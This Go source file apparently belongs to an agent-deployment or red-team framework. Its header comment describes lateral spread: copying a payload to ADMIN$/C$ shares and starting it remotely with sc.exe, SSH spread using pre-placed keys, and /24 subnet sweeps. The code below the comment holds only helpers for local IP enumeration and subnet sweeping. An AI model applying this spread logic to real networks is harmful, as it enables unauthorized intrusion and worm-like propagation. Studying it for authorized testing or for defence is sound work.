package deploy import ( "fmt" "net" "strings" ) // Spread prerequisites for lateral deployment modules: // // Windows (SMB/SCM via autospread.go and smb_unc_spread.go): // - Target TCP/445 (SMB) must be reachable on the LAN. // - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$, // then sc.exe \\host create/start on the local path. // - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath= // pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe // use on the share root when needed. Path Tracer can dispatch spread_smb_unc on // the egress hop via POST /api/v1/pathtrace/spread. // - Both require an admin-capable token on the target for remote SCM. // // Unix (SSH via autospread_unix.go): // - Target TCP/22 (SSH) must be reachable. // - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must // already work — e.g. the agent user's public key in target authorized_keys, // or root/ubuntu with pre-placed keys. Interactive password prompts are not supported. // // Subnet discovery (per-agent, incremental — not fleet-wide full sweeps): // - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go). // syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg. // - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64 // sweeps are impractical). IPv6 peers may appear from the OS neighbor cache. // - ARP cache is consulted first (arp_*.go) before any active sweep. // - Lateral spread uses spreadSem (SpreadConcurrencyCap concurrent targets) per agent. // getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces. func getLocalIPs() []string { var ips []string ifaces, err := net.Interfaces() if err != nil { return ips } for _, iface := range ifaces { if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 { continue } addrs, err := iface.Addrs() if err != nil { continue } for _, a := range addrs { ipnet, ok := a.(*net.IPNet) if !ok { continue } ip := ipnet.IP if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() { continue } if ip4 := ip.To4(); ip4 != nil { ips = append(ips, ip4.String()) continue } if ip.To16() != nil { ips = append(ips, ip.String()) } } } return ips } // getSubnet returns the sweep prefix for an address: // - IPv4: first three octets (/24) // - IPv6: first four hextets (/64) // // Returns "" when the address cannot be used for subnet matching. func getSubnet(ip string) string { parsed := net.ParseIP(strings.TrimSpace(ip)) if parsed == nil { return "" } if ip4 := parsed.To4(); ip4 != nil { parts := strings.Split(ip4.String(), ".") if len(parts) != 4 { return "" } return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2]) } // IPv6 /64 — collapse :: shorthand for consistent map keys. full := parsed.String() if strings.Contains(full, ".") { return "" } hextets := strings.Split(full, ":") if len(hextets) < 4 { return "" } return strings.Join(hextets[:4], ":") } // isIPv4 reports whether addr is an IPv4 host address. func isIPv4(addr string) bool { ip := net.ParseIP(addr) return ip != nil && ip.To4() != nil } // ipv4SweepHost returns the i-th host in an IPv4 /24 (1–254). ok is false for non-IPv4 prefixes. func ipv4SweepHost(subnet string, i int) (host string, ok bool) { if i < 1 || i > 254 { return "", false } parts := strings.Split(subnet, ".") if len(parts) != 3 { return "", false } return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true }